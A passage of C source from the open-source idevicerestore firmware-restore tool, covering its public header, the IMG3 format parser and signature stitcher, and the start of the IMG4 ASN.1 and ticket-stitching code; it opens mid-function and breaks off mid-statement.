16, "BatteryCharging1" }, { "batteryfull", 11, "BatteryFull" }, { "needservice", 11, "NeedService" }, { "SCAB", 4, "SCAB" }, { "sep-firmware", 12, "RestoreSEP" }, { NULL, 0, NULL } }; int i = 0; while (fn_comp_map[i].fnprefix) { if (!strncmp(filename, fn_comp_map[i].fnprefix, fn_comp_map[i].matchlen)) { return fn_comp_map[i].compname; } i++; } error("WARNING: Unhandled component '%s'", filename); return NULL; } idevicerestore-master/src/idevicerestore.h000066400000000000000000000136201464320324600213450ustar00rootroot00000000000000/* * idevicerestore.h * Restore device firmware and filesystem * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_H #define IDEVICERESTORE_H #ifdef __cplusplus extern "C" { #endif #include #include #include #include // the flag with value 1 is reserved for internal use only. don't use it. #define FLAG_DEBUG (1 << 1) #define FLAG_ERASE (1 << 2) #define FLAG_CUSTOM (1 << 3) #define FLAG_EXCLUDE (1 << 4) #define FLAG_PWN (1 << 5) #define FLAG_NOACTION (1 << 6) #define FLAG_SHSHONLY (1 << 7) #define FLAG_LATEST (1 << 8) #define FLAG_INTERACTIVE (1 << 9) #define FLAG_ALLOW_RESTORE_MODE (1 << 10) #define FLAG_NO_RESTORE (1 << 11) #define FLAG_IGNORE_ERRORS (1 << 12) #define RESTORE_VARIANT_ERASE_INSTALL "Erase Install (IPSW)" #define RESTORE_VARIANT_UPGRADE_INSTALL "Upgrade Install (IPSW)" #define RESTORE_VARIANT_MACOS_RECOVERY_OS "macOS Customer" struct idevicerestore_client_t; struct ipsw_archive; typedef struct ipsw_archive* ipsw_archive_t; enum { RESTORE_STEP_DETECT = 0, RESTORE_STEP_PREPARE, RESTORE_STEP_UPLOAD_FS, RESTORE_STEP_VERIFY_FS, RESTORE_STEP_FLASH_FW, RESTORE_STEP_FLASH_BB, RESTORE_STEP_FUD, RESTORE_STEP_UPLOAD_IMG, RESTORE_NUM_STEPS }; // lpol_file has been extracted from the IMG4 dump of the ac2 usb protocol. It is not present in the .ipsw and // represents and empty "local policy". See https://support.apple.com/guide/security/contents-a-localpolicy-file-mac-apple-silicon-secc745a0845/web. extern const uint8_t lpol_file[22]; extern const uint32_t lpol_file_length; typedef void (*idevicerestore_progress_cb_t)(int step, double step_progress, void* userdata); struct idevicerestore_client_t* idevicerestore_client_new(void); void idevicerestore_client_free(struct idevicerestore_client_t* client); void idevicerestore_set_ecid(struct idevicerestore_client_t* client, uint64_t ecid); void idevicerestore_set_udid(struct idevicerestore_client_t* client, const char* udid); void idevicerestore_set_flags(struct idevicerestore_client_t* client, int flags); void idevicerestore_set_ipsw(struct idevicerestore_client_t* client, const char* path); void idevicerestore_set_cache_path(struct idevicerestore_client_t* client, const char* path); void idevicerestore_set_progress_callback(struct idevicerestore_client_t* client, idevicerestore_progress_cb_t cbfunc, void* userdata); void idevicerestore_set_info_stream(FILE* strm); void idevicerestore_set_error_stream(FILE* strm); void idevicerestore_set_debug_stream(FILE* strm); int idevicerestore_start(struct idevicerestore_client_t* client); const char* idevicerestore_get_error(void); irecv_device_t get_irecv_device(struct idevicerestore_client_t* client); int get_ecid(struct idevicerestore_client_t* client, uint64_t* ecid); int is_image4_supported(struct idevicerestore_client_t* client); int get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size); int get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size); int get_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss); int get_local_policy_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss); int get_recoveryos_root_ticket_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss); int get_recovery_os_local_policy_tss_response( struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss, plist_t args); void fixup_tss(plist_t tss); int build_manifest_get_identity_count(plist_t build_manifest); int build_manifest_check_compatibility(plist_t build_manifest, const char* product); void build_manifest_get_version_information(plist_t build_manifest, struct idevicerestore_client_t* client); plist_t build_manifest_get_build_identity_for_model(plist_t build_manifest, const char *hardware_model); plist_t build_manifest_get_build_identity_for_model_with_variant(plist_t build_manifest, const char *hardware_model, const char *variant, int exact); int build_manifest_get_build_count(plist_t build_manifest); void build_identity_print_information(plist_t build_identity); int build_identity_has_component(plist_t build_identity, const char* component); int build_identity_get_component_path(plist_t build_identity, const char* component, char** path); int ipsw_extract_filesystem(ipsw_archive_t ipsw, plist_t build_identity, char** filesystem); int extract_component(ipsw_archive_t ipsw, const char* path, unsigned char** component_data, unsigned int* component_size); int personalize_component(const char *component, const unsigned char* component_data, unsigned int component_size, plist_t tss_response, unsigned char** personalized_component, unsigned int* personalized_component_size); int get_preboard_manifest(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* manifest); const char* get_component_name(const char* filename); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/img3.c000066400000000000000000000312051464320324600171620ustar00rootroot00000000000000/* * img3.c * Functions for handling with Apple's IMG3 format * * Copyright (c) 2012-2013 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include "img3.h" #include "common.h" #include "idevicerestore.h" static void img3_free(img3_file* image); static img3_element* img3_parse_element(const unsigned char* data); static void img3_free_element(img3_element* element); static img3_file* img3_parse_file(const unsigned char* data, unsigned int size) { unsigned int data_offset = 0; img3_element* element; img3_header* header = (img3_header*) data; if (header->signature != kImg3Container) { error("ERROR: Invalid IMG3 file\n"); return NULL; } img3_file* image = (img3_file*) malloc(sizeof(img3_file)); if (image == NULL) { error("ERROR: Unable to allocate memory for IMG3 file\n"); return NULL; } memset(image, '\0', sizeof(img3_file)); image->idx_ecid_element = -1; image->idx_shsh_element = -1; image->idx_cert_element = -1; image->header = (img3_header*) malloc(sizeof(img3_header)); if (image->header == NULL) { error("ERROR: Unable to allocate memory for IMG3 header\n"); img3_free(image); return NULL; } memcpy(image->header, data, sizeof(img3_header)); data_offset += sizeof(img3_header); img3_element_header* current = NULL; while (data_offset < size) { current = (img3_element_header*) &data[data_offset]; switch (current->signature) { case kTypeElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse TYPE element\n"); img3_free(image); return NULL; } image->elements[image->num_elements++] = element; debug("Parsed TYPE element\n"); break; case kDataElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse DATA element\n"); img3_free(image); return NULL; } image->elements[image->num_elements++] = element; debug("Parsed DATA element\n"); break; case kVersElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse VERS element\n"); img3_free(image); return NULL; } image->elements[image->num_elements++] = element; debug("Parsed VERS element\n"); break; case kSepoElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse SEPO element\n"); img3_free(image); return NULL; } image->elements[image->num_elements++] = element; debug("Parsed SEPO element\n"); break; case kBordElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse BORD element\n"); img3_free(image); return NULL; } image->elements[image->num_elements++] = element; debug("Parsed BORD element\n"); break; case kChipElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse CHIP element\n"); img3_free(image); return NULL; } image->elements[image->num_elements++] = element; debug("Parsed CHIP element\n"); break; case kKbagElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse first KBAG element\n"); img3_free(image); return NULL; } image->elements[image->num_elements++] = element; debug("Parsed KBAG element\n"); break; case kEcidElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse ECID element\n"); img3_free(image); return NULL; } image->idx_ecid_element = image->num_elements; image->elements[image->num_elements++] = element; debug("Parsed ECID element\n"); break; case kShshElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse SHSH element\n"); img3_free(image); return NULL; } image->idx_shsh_element = image->num_elements; image->elements[image->num_elements++] = element; debug("Parsed SHSH element\n"); break; case kCertElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse CERT element\n"); img3_free(image); return NULL; } image->idx_cert_element = image->num_elements; image->elements[image->num_elements++] = element; debug("Parsed CERT element\n"); break; case kUnknElement: element = img3_parse_element(&data[data_offset]); if (element == NULL) { error("ERROR: Unable to parse UNKN element\n"); img3_free(image); return NULL; } image->elements[image->num_elements++] = element; debug("Parsed UNKN element\n"); break; default: error("ERROR: Unknown IMG3 element type %08x\n", current->signature); img3_free(image); return NULL; } data_offset += current->full_size; } return image; } static img3_element* img3_parse_element(const unsigned char* data) { img3_element_header* element_header = (img3_element_header*) data; img3_element* element = (img3_element*) malloc(sizeof(img3_element)); if (element == NULL) { error("ERROR: Unable to allocate memory for IMG3 element\n"); return NULL; } memset(element, '\0', sizeof(img3_element)); element->data = (unsigned char*) malloc(element_header->full_size); if (element->data == NULL) { error("ERROR: Unable to allocate memory for IMG3 element data\n"); free(element); return NULL; } memcpy(element->data, data, element_header->full_size); element->header = (img3_element_header*) element->data; element->type = (img3_element_type) element->header->signature; return element; } static void img3_free(img3_file* image) { if (image != NULL) { if (image->header != NULL) { free(image->header); } int i; for (i = 0; i < image->num_elements; i++) { img3_free_element(image->elements[i]); image->elements[i] = NULL; } free(image); image = NULL; } } static void img3_free_element(img3_element* element) { if (element != NULL) { if (element->data != NULL) { free(element->data); element->data = NULL; } free(element); element = NULL; } } static int img3_replace_signature(img3_file* image, const unsigned char* signature) { int i, oldidx; int offset = 0; img3_element* ecid = img3_parse_element(&signature[offset]); if (ecid == NULL || ecid->type != kEcidElement) { error("ERROR: Unable to find ECID element in signature\n"); return -1; } offset += ecid->header->full_size; img3_element* shsh = img3_parse_element(&signature[offset]); if (shsh == NULL || shsh->type != kShshElement) { error("ERROR: Unable to find SHSH element in signature\n"); return -1; } offset += shsh->header->full_size; img3_element* cert = img3_parse_element(&signature[offset]); if (cert == NULL || cert->type != kCertElement) { error("ERROR: Unable to find CERT element in signature\n"); return -1; } offset += cert->header->full_size; if (image->idx_ecid_element >= 0) { img3_free_element(image->elements[image->idx_ecid_element]); image->elements[image->idx_ecid_element] = ecid; } else { if (image->idx_shsh_element >= 0) { // move elements by 1 oldidx = image->idx_shsh_element; for (i = image->num_elements-1; i >= oldidx; i--) { image->elements[i+1] = image->elements[i]; switch (image->elements[i+1]->type) { case kShshElement: image->idx_shsh_element = i+1; break; case kCertElement: image->idx_cert_element = i+1; break; case kEcidElement: image->idx_ecid_element = i+1; break; default: break; } } image->elements[oldidx] = ecid; image->idx_ecid_element = oldidx; image->num_elements++; } else { // append if not found image->elements[image->num_elements] = ecid; image->idx_ecid_element = image->num_elements; image->num_elements++; } } if (image->idx_shsh_element >= 0) { img3_free_element(image->elements[image->idx_shsh_element]); image->elements[image->idx_shsh_element] = shsh; } else { if (image->idx_cert_element >= 0) { // move elements by 1 oldidx = image->idx_cert_element; for (i = image->num_elements-1; i >= oldidx; i--) { image->elements[i+1] = image->elements[i]; switch (image->elements[i+1]->type) { case kShshElement: image->idx_shsh_element = i+1; break; case kCertElement: image->idx_cert_element = i+1; break; case kEcidElement: image->idx_ecid_element = i+1; break; default: break; } } image->elements[oldidx] = shsh; image->idx_shsh_element = oldidx; image->num_elements++; } else { // append if not found image->elements[image->num_elements] = shsh; image->idx_shsh_element = image->num_elements; image->num_elements++; } } if (image->idx_cert_element >= 0) { img3_free_element(image->elements[image->idx_cert_element]); image->elements[image->idx_cert_element] = cert; } else { // append if not found image->elements[image->num_elements] = cert; image->idx_cert_element = image->num_elements; image->num_elements++; } return 0; } static int img3_get_data(img3_file* image, unsigned char** pdata, unsigned int* psize) { int i; int offset = 0; int size = sizeof(img3_header); // Add up the size of the image first so we can allocate our memory for (i = 0; i < image->num_elements; i++) { size += image->elements[i]->header->full_size; } info("reconstructed size: %d\n", size); unsigned char* data = (unsigned char*) malloc(size); if (data == NULL) { error("ERROR: Unable to allocate memory for IMG3 data\n"); return -1; } // Add data to our new header (except shsh_offset) img3_header* header = (img3_header*) data; header->full_size = size; header->signature = image->header->signature; header->data_size = size - sizeof(img3_header); header->image_type = image->header->image_type; offset += sizeof(img3_header); // Copy each section over to the new buffer for (i = 0; i < image->num_elements; i++) { memcpy(&data[offset], image->elements[i]->data, image->elements[i]->header->full_size); if (image->elements[i]->type == kShshElement) { header->shsh_offset = offset - sizeof(img3_header); } offset += image->elements[i]->header->full_size; } if (offset != size) { error("ERROR: Incorrectly sized image data\n"); free(data); *pdata = 0; *psize = 0; return -1; } *pdata = data; *psize = size; return 0; } int img3_stitch_component(const char* component_name, const unsigned char* component_data, unsigned int component_size, const unsigned char* blob, unsigned int blob_size, unsigned char** img3_data, unsigned int *img3_size) { img3_file *img3 = NULL; unsigned char* outbuf = NULL; unsigned int outsize = 0; if (!component_name || !component_data || component_size == 0 || !blob || blob_size == 0 || !img3_data || !img3_size) { return -1; } info("Personalizing IMG3 component %s...\n", component_name); /* parse current component as img3 */ img3 = img3_parse_file(component_data, component_size); if (img3 == NULL) { error("ERROR: Unable to parse %s IMG3 file\n", component_name); return -1; } if (((img3_element_header*)blob)->full_size != blob_size) { error("ERROR: Invalid blob passed for %s IMG3: The size %d embedded in the blob does not match the passed size of %d\n", component_name, ((img3_element_header*)blob)->full_size, blob_size); img3_free(img3); return -1; } /* personalize the component using the blob */ if (img3_replace_signature(img3, blob) < 0) { error("ERROR: Unable to replace %s IMG3 signature\n", component_name); img3_free(img3); return -1; } /* get the img3 file as data */ if (img3_get_data(img3, &outbuf, &outsize) < 0) { error("ERROR: Unable to reconstruct %s IMG3\n", component_name); img3_free(img3); return -1; } /* cleanup */ img3_free(img3); *img3_data = outbuf; *img3_size = outsize; return 0; } idevicerestore-master/src/img3.h000066400000000000000000000057361464320324600172010ustar00rootroot00000000000000/* * img3.h * Functions for handling with Apple's IMG3 format * * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_IMG3_H #define IDEVICERESTORE_IMG3_H #ifdef __cplusplus extern "C" { #endif typedef enum { kNorContainer = 0x696D6733, // img3 kImg3Container = 0x496D6733, // Img3 k8900Container = 0x30303938, // 8900 kImg2Container = 0x494D4732 // IMG2 } img3_container; typedef enum { kDataElement = 0x44415441, // DATA kTypeElement = 0x54595045, // TYPE kKbagElement = 0x4B424147, // KBAG kShshElement = 0x53485348, // SHSH kCertElement = 0x43455254, // CERT kChipElement = 0x43484950, // CHIP kProdElement = 0x50524F44, // PROD kSdomElement = 0x53444F4D, // SDOM kVersElement = 0x56455253, // VERS kBordElement = 0x424F5244, // BORD kSepoElement = 0x5345504F, // SEPO kEcidElement = 0x45434944, // ECID kUnknElement = 0x53414c54 // FIXME } img3_element_type; typedef struct { unsigned int signature; unsigned int full_size; unsigned int data_size; unsigned int shsh_offset; unsigned int image_type; } img3_header; typedef struct { unsigned int signature; unsigned int full_size; unsigned int data_size; } img3_element_header; typedef struct { img3_element_header* header; img3_element_type type; unsigned char* data; } img3_element; typedef struct { unsigned char* data; img3_header* header; int num_elements; img3_element* elements[16]; int idx_ecid_element; int idx_shsh_element; int idx_cert_element; /* img3_element* type_element; img3_element* data_element; img3_element* vers_element; img3_element* sepo_element; img3_element* bord_element; img3_element* sepo2_element; img3_element* chip_element; img3_element* bord2_element; img3_element* kbag1_element; img3_element* kbag2_element; img3_element* ecid_element; img3_element* shsh_element; img3_element* cert_element; img3_element* unkn_element;*/ } img3_file; int img3_stitch_component(const char* component_name, const unsigned char* component_data, unsigned int component_size, const unsigned char* blob, unsigned int blob_size, unsigned char** img3_data, unsigned int *img3_size); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/img4.c000066400000000000000000000641001464320324600171630ustar00rootroot00000000000000/* * img4.c * Functions for handling the IMG4 format * * Copyright (c) 2013-2019 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include "common.h" #include "img4.h" #define ASN1_PRIVATE 0xc0 #define ASN1_PRIMITIVE_TAG 0x1f #define ASN1_CONSTRUCTED 0x20 #define ASN1_SEQUENCE 0x10 #define ASN1_SET 0x11 #define ASN1_CONTEXT_SPECIFIC 0x80 #define ASN1_IA5_STRING 0x16 #define ASN1_OCTET_STRING 0x04 #define ASN1_INTEGER 0x02 #define ASN1_BOOLEAN 0x01 #define IMG4_MAGIC "IMG4" #define IMG4_MAGIC_SIZE 4 static int asn1_calc_int_size(uint64_t value) { int i = 1; while ((value >>= 7) != 0) i++; return i; } static void asn1_write_int_value(unsigned char **p, uint64_t value, int size) { int value_size = (size > 0) ? size : asn1_calc_int_size(value); int i = 0; for (i = 1; i <= value_size; i++) { (*p)[value_size-i] = value & 0xFF; value >>= 8; } *p += value_size; } static void asn1_write_size(unsigned int size, unsigned char** data, unsigned int *data_size) { unsigned int off = 0; // first, calculate the size if (size >= 0x1000000) { // 1+4 bytes length (*data)[off++] = 0x84; (*data)[off++] = (size >> 24) & 0xFF; (*data)[off++] = (size >> 16) & 0xFF; (*data)[off++] = (size >> 8) & 0xFF; (*data)[off++] = size & 0xFF; } else if (size >= 0x10000) { // 1+3 bytes length (*data)[off++] = 0x83; (*data)[off++] = (size >> 16) & 0xFF; (*data)[off++] = (size >> 8) & 0xFF; (*data)[off++] = size & 0xFF; } else if (size >= 0x100) { // 1+2 bytes length (*data)[off++] = 0x82; (*data)[off++] = (size >> 8) & 0xFF; (*data)[off++] = (size & 0xFF); } else if (size >= 0x80) { // 1+1 byte length (*data)[off++] = 0x81; (*data)[off++] = (size & 0xFF); } else { // 1 byte length (*data)[off++] = size & 0xFF; } *data += off; *data_size += off; } static void asn1_write_element_header(unsigned char type, unsigned int size, unsigned char** data, unsigned int *data_size) { unsigned int off = 0; if (!type || size == 0 || !data || !data_size) { return; } (*data)[off++] = type; *data += off; asn1_write_size(size, data, &off); *data_size += off; } static unsigned char* asn1_create_element_header(unsigned char type, unsigned int size, unsigned char** data, unsigned int *data_size) { unsigned char buf[6]; unsigned int off = 0; if (!type || size == 0 || !data || !data_size) { return NULL; } buf[off++] = type; unsigned char* p = &buf[off]; asn1_write_size(size, &p, &off); *data = malloc(off); memcpy(*data, buf, off); *data_size = off; return *data; } static void asn1_write_priv_element(unsigned char **p, unsigned int *length, unsigned int value) { int i = 0; int ttag = 0; int tag = value; i = ASN1_CONSTRUCTED; i |= (0xFF & ASN1_PRIVATE); (*p)[0] = i | ASN1_PRIMITIVE_TAG; *p += 1; *length += 1; for (i = 0, ttag = tag; ttag > 0; i++) ttag >>= 7; ttag = i; while (i-- > 0) { (*p)[i] = tag & 0x7f; if (i != (ttag - 1)) (*p)[i] |= 0x80; tag >>= 7; } *p += ttag; *length += ttag; } static void asn1_write_element(unsigned char **p, unsigned int *length, unsigned char type, void *data, int data_len) { unsigned int this_len = 0; switch (type) { case ASN1_IA5_STRING: { char *str = (char*)data; size_t len = (data_len < 0) ? strlen(str) : data_len; asn1_write_element_header(type, len, p, &this_len); *length += this_len; memcpy(*p, str, len); *p += len; *length += len; } break; case ASN1_OCTET_STRING: { asn1_write_element_header(type, data_len, p, &this_len); *length += this_len; memcpy(*p, data, data_len); *p += data_len; *length += data_len; } break; case ASN1_INTEGER: { uint64_t value = *(uint64_t*)data; int value_size = asn1_calc_int_size(value); asn1_write_element_header(type, value_size, p, &this_len); *length += this_len; asn1_write_int_value(p, value, value_size); *length += value_size; } break; case ASN1_BOOLEAN: { unsigned int value = *(unsigned int*)data; asn1_write_element_header(type, 1, p, &this_len); *length += this_len; asn1_write_int_value(p, value ? 0xFF : 0x00, 1); *length += 1; } break; case (ASN1_SET | ASN1_CONSTRUCTED): { asn1_write_element_header(type, data_len, p, &this_len); *length += this_len; if (data && data_len > 0) { memcpy(*p, data, data_len); *p += data_len; *length += data_len; } } break; default: fprintf(stderr, "ERROR: %s: type %02x is not implemented\n", __func__, type); return; } } static unsigned int asn1_get_element(const unsigned char* data, unsigned char* type, unsigned char* size) { unsigned int off = 0; if (!data) return 0; if (type) *type = data[off++]; if (size) *size = data[off++]; return off; } static const unsigned char *asn1_find_element(unsigned int index, unsigned char type, const unsigned char* data) { unsigned char el_type = 0; unsigned char el_size = 0; unsigned int off = 0; int i; // verify data integrity if (data[off++] != (ASN1_CONSTRUCTED | ASN1_SEQUENCE)) return NULL; // check data size switch (data[off++]) { case 0x84: off += 4; break; case 0x83: off += 3; break; case 0x82: off += 2; break; case 0x81: off += 1; break; default: break; } // find the element we are searching for (i = 0; i <= index; i++) { off += asn1_get_element(&data[off], &el_type, &el_size); if (i == index) break; off += el_size; } // check element type if (el_type != type) return NULL; return &data[off]; } static const char *_img4_get_component_tag(const char *compname) { struct comp_tags { const char *comp; const char *tag; }; const struct comp_tags component_tags[] = { { "ACIBT", "acib" }, { "ACIBTLPEM", "lpbt" }, { "ACIWIFI", "aciw" }, { "ANE", "anef" }, { "ANS", "ansf" }, { "AOP", "aopf" }, { "AVE", "avef" }, { "Alamo", "almo" }, { "Ap,ANE1", "ane1" }, { "Ap,ANE2", "ane2" }, { "Ap,ANE3", "ane3" }, { "Ap,AudioAccessibilityBootChime", "auac" }, { "Ap,AudioBootChime", "aubt" }, { "Ap,AudioPowerAttachChime", "aupr" }, { "Ap,BootabilityBrainTrustCache", "trbb" }, { "Ap,CIO", "ciof" }, { "Ap,HapticAssets", "hpas" }, { "Ap,LocalBoot", "lobo" }, { "Ap,LocalPolicy", "lpol" }, { "Ap,NextStageIM4MHash", "nsih" }, { "Ap,RecoveryOSPolicyNonceHash", "ronh" }, { "Ap,RestoreANE1", "ran1" }, { "Ap,RestoreANE2", "ran2" }, { "Ap,RestoreANE3", "ran3" }, { "Ap,RestoreCIO", "rcio" }, { "Ap,RestoreTMU", "rtmu" }, { "Ap,Scorpius", "scpf" }, { "Ap,SystemVolumeCanonicalMetadata", "msys" }, { "Ap,TMU", "tmuf" }, { "Ap,VolumeUUID", "vuid" }, { "Ap,rOSLogo1", "rlg1" }, { "Ap,rOSLogo2", "rlg2" }, { "AppleLogo", "logo" }, { "AudioCodecFirmware", "acfw" }, { "BatteryCharging", "glyC" }, { "BatteryCharging0", "chg0" }, { "BatteryCharging1", "chg1" }, { "BatteryFull", "batF" }, { "BatteryLow0", "bat0" }, { "BatteryLow1", "bat1" }, { "BatteryPlugin", "glyP" }, { "CFELoader", "cfel" }, { "CrownFirmware", "crwn" }, { "DCP", "dcpf" }, { "Dali", "dali" }, { "DeviceTree", "dtre" }, { "Diags", "diag" }, { "EngineeringTrustCache", "dtrs" }, { "ExtDCP", "edcp" }, { "GFX", "gfxf" }, { "Hamm", "hamf" }, { "Homer", "homr" }, { "ISP", "ispf" }, { "InputDevice", "ipdf" }, { "KernelCache", "krnl" }, { "LLB", "illb" }, { "LeapHaptics", "lphp" }, { "Liquid", "liqd" }, { "LoadableTrustCache", "ltrs" }, { "LowPowerWallet0", "lpw0" }, { "LowPowerWallet1", "lpw1" }, { "LowPowerWallet2", "lpw2" }, { "MacEFI", "mefi" }, { "MtpFirmware", "mtpf" }, { "Multitouch", "mtfw" }, { "NeedService", "nsrv" }, { "OS", "OS\0\0" }, { "OSRamdisk", "osrd" }, { "PEHammer", "hmmr" }, { "PERTOS", "pert" }, { "PHLEET", "phlt" }, { "PMP", "pmpf" }, { "PersonalizedDMG", "pdmg" }, { "RBM", "rmbt" }, { "RTP", "rtpf" }, { "Rap,SoftwareBinaryDsp1", "sbd1" }, { "Rap,RTKitOS", "rkos" }, { "Rap,RestoreRTKitOS", "rrko" }, { "RecoveryMode", "recm" }, { "RestoreANS", "rans" }, { "RestoreDCP", "rdcp" }, { "RestoreDeviceTree", "rdtr" }, { "RestoreExtDCP", "recp" }, { "RestoreKernelCache", "rkrn" }, { "RestoreLogo", "rlgo" }, { "RestoreRTP", "rrtp" }, { "RestoreRamDisk", "rdsk" }, { "RestoreSEP", "rsep" }, { "RestoreTrustCache", "rtsc" }, { "SCE", "scef" }, { "SCE1Firmware", "sc1f" }, { "SEP", "sepi" }, { "SIO", "siof" }, { "StaticTrustCache", "trst" }, { "SystemLocker", "lckr" }, { "SystemVolume", "isys" }, { "WCHFirmwareUpdater", "wchf" }, { "ftap", "ftap" }, { "ftsp", "ftsp" }, { "iBEC", "ibec" }, { "iBSS", "ibss" }, { "iBoot", "ibot" }, { "iBootData", "ibdt" }, { "iBootDataStage1", "ibd1" }, { "iBootTest", "itst" }, { "rfta", "rfta" }, { "rfts", "rfts" }, { NULL, NULL } }; int i = 0; while (component_tags[i].comp) { if (!strcmp(component_tags[i].comp, compname)) { return component_tags[i].tag; } i++; } return NULL; } int img4_stitch_component(const char* component_name, const unsigned char* component_data, unsigned int component_size, plist_t tss_response, unsigned char** img4_data, unsigned int *img4_size) { unsigned char* magic_header = NULL; unsigned int magic_header_size = 0; unsigned char* blob_header = NULL; unsigned int blob_header_size = 0; unsigned char* img4header = NULL; unsigned int img4header_size = 0; unsigned int content_size; unsigned char* outbuf; unsigned char* p; unsigned char* blob = NULL; unsigned int blob_size = 0; if (!component_name || !component_data || component_size == 0 || !tss_response || !img4_data || !img4_size) { return -1; } if (tss_response_get_ap_img4_ticket(tss_response, &blob, &blob_size) != 0) { error("ERROR: %s: Failed to get ApImg4Ticket from TSS response\n", __func__); return -1; } info("Personalizing IMG4 component %s...\n", component_name); /* first we need check if we have to change the tag for the given component */ const void *tag = asn1_find_element(1, ASN1_IA5_STRING, component_data); if (tag) { debug("Tag found\n"); if (strcmp(component_name, "RestoreKernelCache") == 0) { memcpy((void*)tag, "rkrn", 4); } else if (strcmp(component_name, "RestoreDeviceTree") == 0) { memcpy((void*)tag, "rdtr", 4); } else if (strcmp(component_name, "RestoreSEP") == 0) { memcpy((void*)tag, "rsep", 4); } else if (strcmp(component_name, "RestoreLogo") == 0) { memcpy((void*)tag, "rlgo", 4); } else if (strcmp(component_name, "RestoreTrustCache") == 0) { memcpy((void*)tag, "rtsc", 4); } else if (strcmp(component_name, "RestoreDCP") == 0) { memcpy((void*)tag, "rdcp", 4); } else if (strcmp(component_name, "Ap,RestoreTMU") == 0) { memcpy((void*)tag, "rtmu", 4); } else if (strcmp(component_name, "Ap,RestoreCIO") == 0) { memcpy((void*)tag, "rcio", 4); } else if (strcmp(component_name, "Ap,DCP2") == 0) { memcpy((void*)tag, "dcp2", 4); } } // check if we have a *-TBM entry for the given component unsigned char *additional_data = NULL; unsigned int additional_size = 0; char *tbm_key = malloc(strlen(component_name) + 5); sprintf(tbm_key, "%s-TBM", component_name); plist_t tbm_dict = plist_dict_get_item(tss_response, tbm_key); free(tbm_key); if (tbm_dict) { plist_t dt = plist_dict_get_item(tbm_dict, "ucon"); if (!dt) { error("ERROR: %s: Missing ucon node in %s-TBM dictionary\n", __func__, component_name); return -1; } uint64_t ucon_size = 0; const char* ucon_data = plist_get_data_ptr(dt, &ucon_size); if (!ucon_data) { error("ERROR: %s: Missing ucon data in %s-TBM dictionary\n", __func__, component_name); return -1; } dt = plist_dict_get_item(tbm_dict, "ucer"); if (!dt) { error("ERROR: %s: Missing ucer data node in %s-TBM dictionary\n", __func__, component_name); return -1; } uint64_t ucer_size = 0; const char* ucer_data = plist_get_data_ptr(dt, &ucer_size); if (!ucer_data) { error("ERROR: %s: Missing ucer data in %s-TBM dictionary\n", __func__, component_name); return -1; } unsigned char *im4rset = (unsigned char*)malloc(16 + 8 + 8 + ucon_size + 16 + 8 + 8 + ucer_size + 16); unsigned char 